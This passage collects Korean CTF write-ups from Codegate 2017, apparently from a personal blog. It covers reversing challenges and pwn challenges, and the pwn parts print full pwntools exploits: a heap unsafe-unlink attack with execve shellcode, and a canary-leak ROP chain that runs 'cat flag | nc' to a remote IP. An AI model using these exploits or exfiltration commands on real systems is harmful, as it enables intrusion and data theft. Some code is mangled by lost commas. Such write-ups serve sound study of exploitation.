변수에 offset off_aHello의 값을 넣어주도록 패치를 한번 더 해야 한다.


[그림 6] 네 번째 코드 패치(2)


 이제 바이너리 패치는 모두 끝났다. 이제 그럼 본격적으로 문제를 풀어야 하는데 단순히 사용자 입력을 받아 여러가지 

연산들과 엄청나게 많은 수의 분기문을 거쳐 마지막으로 아래 [그림 7]과 같은 최종 목적지로 가는 것이 문제이다.

이러한 유형의 CTF 문제는 python 모듈 중 angr이라는 Symbolic Execution을 자동화 해주는 도구로 해결할 수 

있는데 angr을 간단하게 소개하자면 최종 목적지 주소(find 주소)를 설정해주고 가면 안되는 주소(avoid 주소)들을 쭉

설정해두면 프로그램이 알아서 symbolic execution을 실행하면서 조건 분기문에 맞는 알맞은 입력값을 찾아내준다.


[그림 7] 최종 목적지 주소


 그런데 한 가지 문제가 있다. 조건 분기문이 너무 많아 avoid 리스트들의 주소를 하나하나 입력하기에는 너무 많은 

양이기 때문에 자동화하여 avoid 주소의 리스트를 뽑아내야 한다. 이 문제점은 avoid 주소가 아래 [그림 8]과 같이

단순한 똑같은 어셈블리어로 이루어져 있어서 해당 OPCODE를 파일에서 찾아 offset을 계산하여 주소 값을 리스트로

뽑아주는 파이썬 코드를 간단하게 짜서 해결할 수 있다.


[그림 8] avoid 리스트 자동화


 이렇게 찾아낸 avoid 리스트들을 적용해 angr을 써서 키 값을 찾아내면 아래 [그림 9]와 같이 모든 조건 분기문들을 

만족하는 문자열이 나타난다.


[Exploit Code] - angrybird_avoid_list.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
= open("angrybird_patched4",'rb')
binary = f.read()
total = ''
for i in xrange(len(binary)):
    total += '%02X' % int(ord(binary[i]))
 
avoid_list_tmp = [i for i in range(len(total)) if total.startswith('BF94504000', i)]
avoid_list = []
for i in xrange(len(avoid_list_tmp)):
    avoid_list.append(hex(0x400000 + (avoid_list_tmp[i]+1)/2))
 
print avoid_list
f.close()
 
cs


[Exploit Code] - angrybird_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import angr
import hexdump
 
def main():
    proj = angr.Project('angrybird_patched4', load_options={'auto_load_libs': False})
    ex = proj.surveyors.Explorer(find=(0x404fab,), avoid=(0x4007ef0x4008180x4008380x4008610x4008900x4008b90x4008e20x40090b0x4009340x4009770x4009a00x4009c90x4009f20x400a1b,0x400a470x400a6c0x400a950x400abb0x400ae00x400b090x400b3f0x400b680x400ba40x400bd60x400bff0x400c310x400c5d0x400c820x400cab0x400cd00x400cf50x400d1b0x400d400x400d690x400d920x400db20x400dd70x400e000x400e260x400e520x400e7b,0x400eb80x400edd0x400f060x400f2f0x400f580x400f780x400fa10x400fd00x400ff50x40101b0x40104b0x4010700x4010990x4010c20x4010e20x40110b0x4011340x40115d0x4011860x4011c20x4011eb0x40121b0x4012440x40126d0x4012960x4012bf0x4012e80x40131e0x401347,0x4013730x40139c0x4013c50x4013e50x40140e0x4014370x4014600x4014890x4014b20x4014db0x4015040x40152d0x4015560x40157f0x4015a80x4015d10x4016000x4016290x4016520x40167b0x4016a40x4016d30x4016fc0x4017250x40177b0x4017a40x4017cc0x4017f50x40181e0x4018540x40187d0x4018b30x4018dc0x4019050x40192e0x4019570x4019800x4019a90x4019d20x4019fb0x401a240x401a530x401a7c,0x401aac0x401ad50x401afe0x401b2d0x401b560x401b7f0x401ba40x401bcd0x401bf50x401c2b0x401c5a0x401c830x401cac0x401cd50x401cfe0x401d230x401d490x401d6e0x401d970x401dd30x401dfc0x401e250x401e4a0x401e700x401e950x401eba0x401ee30x401f120x401f3b0x401f640x401f8d0x401fb60x401fdf0x4020080x4020310x40205a0x4020830x4020a80x4020cd0x4020f30x4021180x4021410x40216a0x4021a00x4021c90x4021ff0x402224,0x40225d0x4022830x4022a80x4022d10x4022fa0x4023230x40234c0x4023750x40239e0x4023c30x4023e80x40240d0x4024330x4024580x40248e0x4024c00x4024fc0x4025250x40254a0x40256f0x4025950x4025ba0x4025e30x4026400x4026720x4026970x4026c60x4026ef,0x40271f0x4027480x40277e0x4027a70x4027cd0x4027f20x40281b0x4028440x40286d0x4028960x4028bf0x4028f10x40291a0x4029430x4029680x40298d0x4029b60x4029db,0x402a150x402a3a0x402a690x402a920x402abb0x402af10x402b1a0x402b430x402b790x402b9e0x402bc70x402bf00x402c150x402c3a0x402c690x402c920x402cb70x402cdd0x402d020x402d2b0x402d610x402d8a0x402db30x402dd80x402e010x402e2f0x402e580x402e8a0x402eaf0x402ede0x402f030x402f2c0x402f550x402f900x402fb60x402fe80x4030110x40303a0x40305a0x4030830x4030ac0x4030d50x4030fe0x40311e0x4031540x40317d0x40319d0x4031c60x4031ef0x4032180x4032410x40326a0x403293,0x4032da0x4033070x4033300x4033590x4033950x4033cb0x4033eb0x4034140x40343d0x4034660x40348f0x4034b80x4034e10x4035010x40352a0x4035590x4035820x4035ab0x4035d40x40360a0x40362a0x4036600x4036890x4036b20x4037020x40372b0x4037540x40378a0x4037c00x4037e90x4038120x40383b0x4038640x40388d0x4038c30x4038f90x40392f0x4039580x40397d0x4039a30x4039c80x4039f10x403a1a0x403a430x403a6c0x403a910x403ac00x403ae50x403b140x403b3d0x403b660x403b8f0x403bb80x403be10x403c060x403c2b0x403c5a0x403c830x403cac0x403ce20x403d0b0x403d340x403d5d0x403d820x403da70x403dd60x403dff0x403e280x403e510x403e900x403ed10x403f070x403f300x403f660x403f8b0x403fb00x403fd60x403ffb0x4040240x40405a0x4040830x4040ac0x4040d10x4040f60x40411c0x4041410x40416a0x4041930x4041c90x4041f20x4042180x40423d0x4042660x40428f0x4042b80x4042e10x40430a0x40432f0x4043580x40437d0x4043a20x4043d40x4043fa,0x40441f0x4044480x4044710x40449a0x4044c30x4044ec0x4045110x40453a0x40455f0x4045840x4045ad0x4045d20x4045f80x40461d0x4046460x40466f0x4046980x4046c10x4046ea0x40470f0x4047380x40475d0x4047820x4047ab0x4047d00x4047f50x40481a0x4048400x4048650x40488e0x4048b70x4048dc0x4049010x4049300x4049590x4049820x4049ab0x4049d40x4049fd0x404a1d0x404a460x404a6f0x404a980x404ac10x404aea0x404b0a0x404b330x404b5c0x404b850x404bae0x404bd70x404c000x404c290x404c6c0x404c950x404cbe0x404ce70x404d100x404d390x404d6f0x404d980x404dc10x404dea0x404e130x404e3c0x404e610x404e900x404eb90x404ee20x404f0b0x404f300x404f680x404f97,))
    ex.run()
    return ex.found[0].state.posix.dumps(0).strip('\0\n')
    #path_group = proj.factory.path_group(threads=4)
    #path_group.explore(find=0x400803, avoid=0x4007ef)
    #return path_group.found[0].state.posix.dumps(1)
 
if __name__ == '__main__':
    hexdump.hexdump(main())
    #print(repr(main()))
 
cs



[Get Flag~~!!!!]

[그림 9] flag 확인("Im_so_cute&pretty_:)")


끝~!








Posted by holinder4S
2017. 2. 19. 00:17

## Codegate CTF_2017(RamG-thunder, rev)


[Summary]

1. Step by Step으로 하나하나 조건을 만족시키면 된다.

2. 만족시킨 값들로 특정 헥사 바이너리들을 xor연산하면 png파일이 생성된다.


[Analysis] 

  RamG-thunder 문제는 윈도우 PE 바이너리이고 실행시키면 아래 [그림 1]과 같이 간단한 4가지의 단순한 메뉴와

1개의 히든 메뉴를 가지고 있는 프로그램이다. 여기서 중요한 메뉴는 4번을 누르면 나타나는 히든 메뉴이다.

(히든 메뉴는 String 검색을 통해 찾을 수도 있고 스위치문을 통해 찾을 수도 있음)


[그림 1] RamG 문제 실행


 이 프로그램을 OllyDBG와 IDA를 통해 동적/정적 분석해보도록 할 것이다. 우선 먼저 올리디버거로 해당 히든 메뉴

부분을 스트링 기반으로 Search하여 아래 [그림 2]와 같이 시작점에 bp를 걸고 분석을 진행할 것이다. 1번 메뉴

help는 step by step이라는 힌트를 준다.


[그림 2] 히든 메뉴


 이제 F8을 누르면서 진행하다 보면 2번 메뉴를 들어가면 0x4015f0함수를 호출하는 것을 확인할 수 있고 IDA를 통해

해당 함수의 첫 부분을 보면 아래 [그림 3]과 같이 스택에 알 수 없는 값들을 쓰는 것을 확인할 수 있다.


[그림 3] sub_4015f0 함수 첫 부분


 그리고 더 진행하다 보면 [그림 4]와 같이 stage1에서 키 입력을 받아 메모리에 저장되어 있는 특정 값과 xor하여

메모리에 저장되어 있는 값과 비교를 한다.


[그림 4] stage1 풀이


 이렇게 Stage1 부분은 위 그림과 같이 xor_answer와 실제 사용자 입력 값과 47459와 xor한 값을 strncmp함수 

기능을 하는 sub_405c20()함수로 5바이트 비교하기 때문에 "yamya"라는 입력 값을 집어넣으면 stage1을

통과하게 된다. 그리고 Stage2로 넘어가기 전 아래 [그림 5]와 같이 IsDebuggerPresent()함수와 프로세스 명을

기반으로 디버거를 탐지하는 안티디버깅 루틴이 존재하는데 이는 올리 디버거 상에서 간단히 NOP처리를 하거나

레지스터를 수정하면서 우회가 가능하다.


[그림 5] 안티 디버깅 루틴


 그 다음 Stage2는 아래 [그림 6]과 같이 Local MAC address의 앞 3자리를 특정 MAC address 앞 3자리

(C8-59-78-??-??-??)와 비교하는데 이 값만 올리디버거 상에서 똑같이 맞춰 주고 진행하면 Stage2도

클리어 할 수 있다.


[그림 6] Stage2 풀이


 그 다음 Stage3은 아래 [그림 7]과 같이 윈도우 레지스트리 "HKCU\Hellow"를 RegOpenKeyExW()함수로 오픈 

한 후에 "hellow_FishWorld"라는 값을 RegQueryValueExW()라는 함수를 이용하여 read한 다음 값이 다 제대로 

있으면 "hel"이라는 문자열을 그렇지 않으면 "fis"라는 문자열을 Stage3의 answer로 저장한다.


[그림 7] Stage3 풀이


 그 다음 Stage4는 아래 [그림 8]과 같이 Local MAC address의 앞 3자리를 특정 MAC address 앞 3자리

(00-0C-29-??-??-??)와 비교하는데 이 값만 올리디버거 상에서 똑같이 맞춰 주고 진행하면 Stage4도 클리어 할 

수 있다. 그리고 Stage5로 넘어가기 전에 이전에 [그림 5]에서 설명한 안티디버깅 루틴이 또 등장하는데 이것도 

아까와 똑같이 우회해주면 된다.


[그림 8] Stage4 풀이


 그 다음 Stage5는 이전의 Stage1과 아주 비슷하게 아래 [그림 9]와 같이 xor_answer와 실제 사용자 입력 값과

36742와 xor한 값을 strncmp함수 기능을 하는 sub_405c20()함수로 5바이트 비교하기 때문에 "hello"라는 입력 값을

집어넣으면 stage5를 통과하게 된다.


[그림 9] Stage5 풀이


 이제 모든 스테이지를 다 클리어 했고 마지막 분석만 남았는데 아래 [그림 10]과 같이 지금까지 클리어 했던 

Stage들의 정답들을 특정 메모리에다가 strncat함수 역할을 하는 sub_40AD50()함수를 이용하여 쓴다.


[그림 10] 각 Stage들의 정답 이어 붙이기


 이렇게 이어 붙인 정답은 [그림 3]에서 봤던 이상한 값들과 아래 [그림 11]에서 보듯이 xor연산을 하여 새로운 

메모리 영역에 값을 쓴 후 fopen()역할을 하는 sub_404620함수와 fwrite()역할을 하는 sub_405ED0함수를 

호출하여 c라는 png파일을 생성한다.


[그림 11] stage 최종 키 값과 xor연산 => c(png 파일) 생성


 이렇게 나온 c파일을 c.png로 바꾸고 열면 아래 [그림 12]와 같이 flag를 확인할 수 있다.



[Get Flag~~!!!!]

[그림 12] flag 확인("ThANk_yOu_my_PeOP1E")


끝~!







Posted by holinder4S
2017. 2. 18. 23:53

## Codegate CTF_2017(messenger, pwn)


[Summary]

1. heap overflow 취약점(사이즈 체크를 하지 않아서)

2. unsafe unlink 취약점을 이용하여 공격(쉘코드 이용) & Memory Leak


[Analysis] 

  messenger 문제는 [그림 1]과 같이 64bit 바이너리로 보호기법으로는 Stack Canary가 걸려있고 NX는 걸려있지 

않은 것을 확인할 수 있다. 실행시키면 마찬가지로 [그림 18]과 같이 5가지의 단순한 메뉴를 가지고 있는 

프로그램이다. 1번 메뉴는 Leave message기능으로 사용자 입력을 받아 힙에 동적으로 할당하여 message를 

남기는 기능을 수행한다. 2번 메뉴는 Remove message 기능으로 남긴 메시지를 지우는 기능을 수행한다. 

3번 메뉴는 Change message 기능으로 남긴 메시지를 수정할 수 있는 기능을 제공한다. 4번 메뉴는 입력한 

메시지를 확인하는 메뉴이다. 마지막으로 5번 메뉴는 exit 기능으로 단순히 프로그램을 종료하는 기능을 

제공하는 메뉴이다.



 전체 프로그램을 IDA를 통해 분석한 결과 이 프로그램의 몇 가지 특징을 간단히 정리해보면


   1. Leave 메뉴로 남길 수 있는(동적할당으로 힙청크를 생성할 수 있는 횟수) 메시지는 2개로 제한되며,

   2. uaf를 막기 위해 삭제된 청크를 보거나 할 경우 에러를 띄우며,

   3. Change 메뉴를 이용할 때 size를 체크하지 않아 힙 오버플로우를 유발한다.


 이제 이러한 특징들을 이용하여 이 프로그램의 취약점을 공략할 건데 위에서 정리한 프로그램의 특징 중 힙

오버플로우가 발생하는 코드는 아래 [그림 1]과 같다.


[그림 1] 힙 오버플로우 발생 코드


 따라서 이 취약점을 확인하기 위해 IDA를 이용하여 동적 디버깅을 해볼건데 시나리오는 우선 1번 메뉴(Leave)를

이용하여 2개의 메시지를 남긴 후 3번 메뉴(Change)를 이용하여 사이즈 체크를 하지 않는 점을 이용하여 2번째 

힙 청크를 덮어씌울 수 있는지 확인하는 것이다. 이 시나리오대로 실행하면 아래 [그림 2]와 같이 힙 오버플로우가

발생하여 다른 힙 청크를 덮어씌우는 것을 확인할 수 있다.


[그림 2] 힙 오버플로우 확인


 이제 이를 어떻게 활용할 것인가에 대해 생각을 해보아야 하는데 처음에는 1번 leave메뉴를 2번 사용하여 힙 2개를

malloc으로 할당 받은 후 3번 Change메뉴를 이용하여 1번째 힙 청크에서 오버플로우를 시켜 2번째 힙 청크의 헤더를

바꾼다음 2번 remove메뉴를 이용하여 2번째 힙 청크를 free 시키고 마지막으로 1번 메뉴를 다시 이용하여 힙 청크를

새로 할당 받을 대 변조된 힙 청크의 헤더로 인해 got영역에 malloc 할당이 되어 원하는 값을 쓰려고 했다.


 하지만 이 방법이 제대로 되지 않아 다른 방법을 찾기위해 malloc을 해주는 함수와 free를 해주는 함수를 분석 

하다보니 free역할을 하는 함수 부분 중 다음 [그림 3]의 코드에서 free하는 현재 청크의 bk의 fd를 현재 청크의 

fd로 바꾸는 unlink 하는 과정에서 취약점이 발생하여 임의의 주소에 현재 청크의 fd(다음 힙 청크(next chunk, fd))

의 주소를 쓸 수 있다는 것을 확인하였다.


[그림 3] free 내의 unlink 취약점


 이러한 취약점을 바탕으로 페이로드를 구성하여 실행하면 아래 [그림 4, 5]와 같은 힙 상황과 실제 got영역에 있는

exit()함수의 got(0x602070)에 현재 힙 청크의 fd주소가 덮어씌어지는 것을 확인할 수 있으며 마지막으로 exit()

함수를 트리고하기 위해 마지막 Quit 메뉴를 이용하면 exit함수가 실행되면서 덮어씌어진 got로 넘어가게 되고 

이는 힙 주소이다.


 만약 이 부분에 쉘코드가 있다면 NX도 걸려있지 않기 때문에 실행가능하게 되므로 최종 페이로드 구성에서는

got를 덮은 이 후 그 주소(2번째 힙 청크 다음 3번째 힙 청크가 될 곳)에 2번 Change 메뉴를 통해 쉘코드를

집어넣은 후 Quit 메뉴를 실행하면 정상적으로 쉘코드가 실행될 것이다.


[그림 4] next chunk's bk 수정


[그림 5] exit()'s GOT overwrite


 여기까지 잘 왔는데 마지막으로 3번째 문제가 생긴다. 위 [그림 3]에서 이전 청크의 fd에 현재 청크의 fd가 덮어

씌어지는데 마찬가지로 아래 [그림 6]의 코드에 의해 unlink동작에서는 현재 청크의 bk에 이전 청크의 bk가 덮어

씌어지는데 이 때문에 쉘코드가 중간에 끊기게 된다.


[그림 6] free 내의 unlink 쉘코드 문제점


 이를 해결하기 위해서 생각해낸 방법은 2번째 힙 청크의 데이터 영역에 쉘코드를 집어넣고 got가 가리키는

곳에는 전체 쉘코드가 아니라 2번째 힙청크의 데이터 영역의 주소를 push; ret; 하는 쉘코드만 집어넣으면

쉘코드가 짤리지 않고 잘 동작하게 된다. 이를 하기 위해서는 2번째 힙 청크의 데이터 영역의 주소를 알아야

하는데 이는 힙 주소 릭을 이용해서 오프셋 계산을 해야 한다.


 힙 주소를 릭하는 방법은 babypwn에서 주소 릭하는 방식과 비슷하게 먼저 Leave 메뉴를 이용해 힙 청크

하나를 생성하고 Change 메뉴를 이용하여 1번째 청크의 fd의 bk이전까지 A로 가득(64개) 채운 다음 View

메뉴를 이용하여 1번째 청크의 fd의 bk를 릭하고 주소 계산(+0x60)을 한다. 그리고 마지막으로 quit메뉴를

통해 트리거를 하면 아래 [그림 7]과 같이 쉘을 딸 수 있다.



[Exploit Code] - messenger_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./messenger_patched")
else:
    p = remote("110.10.212.137"3333)
 
binary = ELF("./messenger")
 
raw_input()
 
############## global variables ###############
def select_menu(menu_str):
    p.recvuntil(">> ")
    p.send(menu_str)
 
def leave_msg(size, msg):
    select_menu('L\n')
    p.recvuntil("size : ")
    p.send(str(size)+'\n')
    p.recvuntil("msg : ")
    p.send(msg)
 
def remove_msg(index):
    select_menu('R\n')
    p.recvuntil("index : ")
    p.send(str(index)+'\n')
 
def change_msg(index, size, msg):
    select_menu('C\n')
    p.recvuntil("index : ")
    p.send(str(index)+'\n')
    p.recvuntil("size : ")
    p.send(str(size)+'\n')
    p.recvuntil("msg : ")
    p.send(msg)
 
def view_msg(index):
    select_menu('V\n')
    p.recvuntil("index : ")
    p.send(str(index)+'\n')
 
def quit():
    select_menu('\n')
 
if __name__ == '__main__':
    heap_leak_payload = 'A'*64
    leave_msg(32'AAAA')
    change_msg(072, heap_leak_payload)
    view_msg(0); print p.recv(64); leak = p.recv(4); print leak; print 'len : '+str(len(leak))
    
    heap_leak_addr = u32(leak)
    print '[+] heap leak addr : ' + hex(heap_leak_addr)
 
    payload1 = 'A'*48 + p64(0x3b8+ p64(0x0+ p64(0x602070-0x8)
    change_msg(0,72, payload1)
    leave_msg(32'AAAA')
 
    jmp_shellcode = asm("push "+hex(heap_leak_addr+0x60),arch='amd64',os='linux')
    jmp_shellcode += asm("ret",arch='amd64',os='linux')
    shellcode = '\x90'*20 + '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
    payload2 = shellcode + '\x90'*5 + jmp_shellcode
    change_msg(1100, payload2)
    remove_msg(1)
    quit()
    p.interactive()
 
# ref1) https://www.exploit-db.com/exploits/36858/
cs



[Get Shell & Flag~~!!!!]

[그림 7] Get Shell & Get Flag("1_wan3_y0ur_m3ssenger$%")


끝~!




Posted by holinder4S
2017. 2. 18. 23:22

## Codegate CTF_2017(BabyPwn, pwn)


[Summary]

1. Stack Overflow & Stack Canary => Canary Leak(memory leak) & ROP

2. 서버 쉘 획득 가능, 리다이렉션 필요 => nc 사용 또는 "/bin/sh -i <&4 >&4 2>&4"명령으로 클라이언트에서 쉘 획득


[Analysis] 

  BabyPwn 문제는 [그림 1]과 같이 32bit 바이너리로 보호기법은 Stack Canary와 NX가 걸려있는 것을 확인할 

수 있다. 실행시키면 마찬가지로 [그림 1]과 같이 3가지의 단순한 메뉴를 가지고 있는 프로그램이다. 1번째 메뉴는 

echo 기능을 하는데 입력 값을 받아 그대로 에코해주는 기능이며 2번째 메뉴는 reverse echo 기능 즉 입력받은 값을 

거꾸로 출력해주는 기능이다. 마지막 3번째 메뉴는 Exit 메뉴로 프로그램을 종료하는 메뉴이다.


[그림 1] babypwn 문제 보호 기법과 실행 화면


이 프로그램에서 echo 기능을 가진 부분을 IDA를 통해 분석해보면 [그림 2]와 같이 간단한 스택 버퍼오버플로우 취약점이 있는

것을 확인할 수 있다. 따라서 이 취약점을 이용하여 Exploit을 할 것인데 첫 번째 문제가 발생한다. 버퍼오버플로우 취약점은

있으나 Stack Canary가 있기 때문에 이 Canary값을 릭하여 알아내야 한다.


[그림 2] 스택 버퍼오버플로우 취약점


위 [그림 2]와 같이 v2변수는 ebp기준 -0x34위치인데 sub_8048907에서 사용자로부터 입력을 받지만

2번째 인자(0x64)만큼 사용자 입력을 받기 때문에 ret를 덮어씌울 수 있다. 하지만 위에서 말했듯이 Stack Canary가

걸려 있기 때문에 이 Canary를 릭하여 문제를 풀어야 하는데 우선 Canary가 있는 위치는 아래 [그림 3]과 같이

ebp기준 -0xc에 위치하게 된다. 그리고 참고로 이 문제같은 경우 아래 [그림 3]에서 보듯이 문제 자체가 서버

프로그램이고 fork()함수를 이용하여 사용자 클라이언트를 처리하기 때문에 Canary의 값이 매번 같아 한번만 Canary를

릭하면 이후 계속 그 Canary를 사용할 수 있다.


[그림 3] Stack Canary 위치 & fork() 함수


이제 Stack Canary의 위치와 fork()의 특성상 Canary가 바뀌지 않는다는 것을 알았고, 이 Canary의 값을 릭하여야

하는데 릭은 스택 버퍼오버플로우 취약점이 존재하는 1번 echo 메뉴를 통해 할 수 있다. 1번 echo 메뉴는 [그림 4]와

같이 send()함수를 이용하여 사용자가 입력한 문자열을 클라이언트에 출력해주는데 Stack Canary 바로 직전까지

문자열을 입력하고 strlen() 함수로 문자열의 길이를 체크한 후 send()함수의 인자로 출력할 바이트를 넣게 되는데

strlen()함수는 문자열의 끝(0x00)이라고 인식되는 부분까지의 길이를 반환해주기 때문에 사용자가 Stack Canary의

바로 직전까지 입력을 하면 뒤에 이어오는 Canary값도 strlen()에 의해 포함되기 때문에 Canary의 값을 릭할 수 있게 된다.


[그림 4] echo 기능 디컴파일 소스


이러한 점을 모두두 종합하면 아래 [그림 5]와 같은 스택 상황을 만들어 Canary 릭을 할 수 있다.


[그림 5] 스택 상황 & 스택 Canary 릭(같은 Canary 확인)


여기 까지 완료하고 첫 번째 문제는 끝났다. 이제 단순 스택 버퍼오버플로우기 때문에 RET만 system함수로 바꿔주고

인자 값을 원하는 command로 넣어주기만 하면 exploit은 끝나게 된다. 이 문제에서 2번째 문제는 system("/bin/sh")를

이용하여 쉘을 따려고 하면 서버에서 따지기 때문에 의미가 없다. stdin과 stdout을 dup2()함수를 이용하여 연결해주면

리모트로 쉘을 딸 수는 있지만 해당 바이너리에 dup2()함수가 존재하지 않기 때문에 rop를 하려면

libc를 릭하여 찾아야 한다.


따라서 이 문제를 해결하기 위해서 "command | nc my-IP my-port"명령을 이용하여 미리 열어둔 tcp포트에

command의 결과를 전송하도록 exploit을 하였다. 이렇게 원하는 명령을 system()함수의 인자로 넣는 rop로 하여야

하는데 이 때 command가 바이너리에 그대로 박혀있는 것이 아니기 때문에 주소 값을 모른다. 따라서 recv()함수로

rop를 하여 아래 [그림 6]과 같이 data영역(0x804b080)에 원하는 command를 쓰고 system()함수의 인자 값으로

넣는 방법을 사용하였다.


[그림 6] 최종 페이로드 & system("cat flag | nc x.x.x.x 4444")


 이제 다 끝났고 해당 페이로드대로 코드를 구성하여 exploit코드를 짜면 아래 [그림 7]과 같이 exploit 코드가 정상 

동작하여 미리 nc로 열어둔 포트로 명령어의 결과가 전송되어 플래그를 확인할 수 있다. 추가적으로 이렇게 nc를 

이용하는 방법외에 "/bin/sh -i <&4 >&4 2>&4"명령을 이용하여 파일 디스크립터의 리다이렉션을 잘 활용하여 

쉘을 딸 수도 있다.


[Exploit Code] - babypwn_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import hexdump
 
context(arch='i386',os='linux')
#local=True
local=False
 
if local:
    p = remote("127.0.0.1"8888)
else:
    p = remote("110.10.212.130"8888)
 
#binary = ELF("./babypwn_patched")
 
raw_input()
 
############## Canary & Gadget ###############
#stack_canary = 0xd989c800    #local
stack_canary = 0x338d2200    #remote
#ebp_leak = 0xffe83f88        #local
ebp_leak = 0xffe77fc8        #remote
 
system_plt = 0x8048620
send_plt = 0x8048700
recv_plt = 0x80486e0
fd = 0x4
pop4_ret = 0x8048eec
################################################
 
def select_menu(menu_num):
    print p.recvuntil("Select menu > ")
    p.send(menu_num)
 
def echo(msg):
    select_menu('1\n')
    print p.recvuntil("Input Your Message : ")
    p.send(msg)
 
def reverse_echo(msg):
    select_menu('2\n')
    print p.recvuntil("Input Your Message : ")
    p.send(msg)
 
def exit():
    select_menu('3\n')
 
if __name__ == '__main__':
    ############## stage1 payload #############
    #   memory leaking(Stack Canary & EBP)    #
    ###########################################
    '''
    canary_leak_payload = "A"*40
    echo(canary_leak_payload+'\n'); print p.recv(40)
    print "[+] stack canary leak : " + hex(u32(p.recv(4)))
    exit();
    p.interactive()
    ebp_leak_payload = "A"*52
    echo(ebp_leak_payload); print p.recv(52)
    print "[+] Stack EBP leak : " + hex(u32(p.recv(4)))
    exit();
    p.interactive()
    # Arbitrary Memory Leak    for "/bin/sh"'s addr
    arbitrary_leak_payload = "/bin/sh\x00" + "A"*32 + p32(stack_canary) + "A"*12
    arbitrary_leak_payload += p32(send_plt) + "AAAA" + p32(fd) + p32(ebp_leak-0x174+ p32(0x64+ p32(0x0)
    echo(arbitrary_leak_payload); exit()
    hexdump.hexdump(p.recv(1024))
    '''
    ########## stage2 payload ##########
    #     Make system("Command");      #
    #         EXPLOIT SUCCESS          #
    ####################################
    #binsh_addr = ebp_leak-0x174
    print "[+] Stack canary leak : " + hex(stack_canary)
    #print "[+] Stack EBP leak : " + hex(ebp_leak)
    #print "[+] Stack '/bin/sh' addr : " + hex(binsh_addr)
    
    # Write command(system()'s arg) to .data area
    final_payload = "/bin/sh\x00" + "A"*32 + p32(stack_canary) + "A"*12
    final_payload += p32(recv_plt) + p32(pop4_ret) + p32(fd) + p32(0x804b080+ p32(0x100+ p32(0x0)
    final_payload += p32(system_plt) + p32(int3) + p32(0x804b080)
    #final_payload += p32(send_plt) + "AAAA" + p32(fd) + p32(0x804b080) + p32(0x100) + p32(0x0)
    print '[+] len : ' + str(hex(len(final_payload)))
    echo(final_payload); exit()
    
    #p.send('id | nc 52.39.163.139 6978\x00')
    #p.send('ls -al | nc 52.39.163.139 6978\x00')
    p.send('cat flag | nc 52.39.163.139 6978\x00')
    
    p.interactive()
 
cs



[Get Shell & Flag~~!!!!]

[그림 7] 명령어 결과 확인 & Flag("Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^")


끝~!



'CTF writeup' 카테고리의 다른 글

[Codegate CTF_2017] RamG-thunder(reversing)  (2) 2017.02.19
[Codegate CTF_2017] messenger(pwn)  (8) 2017.02.18
[Codegate CTF_2017] BabyMISC(MISC)  (0) 2017.02.18
[Christmas CTF_2016] who is solo(pwn)  (8) 2017.01.17
[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
Posted by holinder4S
2017. 2. 18. 22:40

## Codegate CTF_2017(BabyMISC, MISC)


[Summary]

1. Base64 hash collision & 알고리즘

2. 필터링된 Command Injection


[Analysis] 

 이 문제는 총 3개의 stage로 이루어진 문제이다. 각 스테이지 별로 사용자 input 값을 받는데 정확한 입력 값을 넣으면

다음 stage로 넘어가는 방식이다. 우선 첫 번째 스테이지를 IDA를 통해 아래 [그림 1]과 같이 분석하면 

"TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oig="라는 문자열이 주어지고 사용자 input을 받는다. 이 때 이 stage를

만족하려면 3가지 조건이 있다.


   1. (User input 길이) == (주어진 base64 문자열 길이)

   2. (User input의 Base64 decode 문자열) == (주어진 base64 decode 문자열)

   3. (User input) != (주어진 base64 문자열)


 한마디로 이번 Stage1은 Base64의 충돌성을 찾아내라는 문제이다.


[그림 1] Stage1 디컴파일 소스


 주어진 base64 문자열은 아래 [그림 2]와 같은 이유로 3개의 충돌이 일어날 수 있다. 따라서 답으로 가능한 충돌이 

일어나는 base64 문자열은 "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih=",

"TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oii=", "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oij="이다.


[그림 2] base64 충돌


 그 다음은 Stage2이다. Stage2를 IDA를 통해 아래 [그림 3]과 같이 분석하면 2개의 사용자 input을 받는다.

이 때 이 stage를 만족하려면 2가지 조건이 있다.


   1. (input1 길이) != (input2 길이)

   2. (input1 B64D) == (input2 B64D)


 즉 다른 길이의 Base64 인코딩된 문자열을 디코딩 했을 때 같은 결과가 나오는 2개의 B64 String을 찾으라는 이야기이다.

[그림 3] Stage2 디컴파일 소스


 이번 Stage는 Stage1을 잘 이해하고 있으면 기존 B64 String의 마지막에 "===="만 덧붙이면 주어진 조건을 

만족한다는 것을 알 수 있다. 따라서 예시 답을 들자면 "AAAA"를 인코딩한 "QUFBQQ=="를 input1로 

"QUFBQQ======"를 input2로 주면 Stage2도 깰 수 있다.


 그 다음은 Stage3이다. Stage3을 IDA를 통해 아래 [그림 4]와 같이 분석하면 base64 encoding된 사용자 input을 1개

받는다. 이번 Stage에서는 Command Injection을 가능하게 하여 한 가지 명령어를 실행할 수 있게 해주는데 명령어를

Base64 인코딩 시켜 input으로 주게되면 "echo -n %s | base64 -d | sh"문자열에 들어가 디코딩되면서 원하는 명령을

실행시켜 주므로 flag파일을 읽어들이면 된다.


[그림 4] Stage3 디컴파일 소스


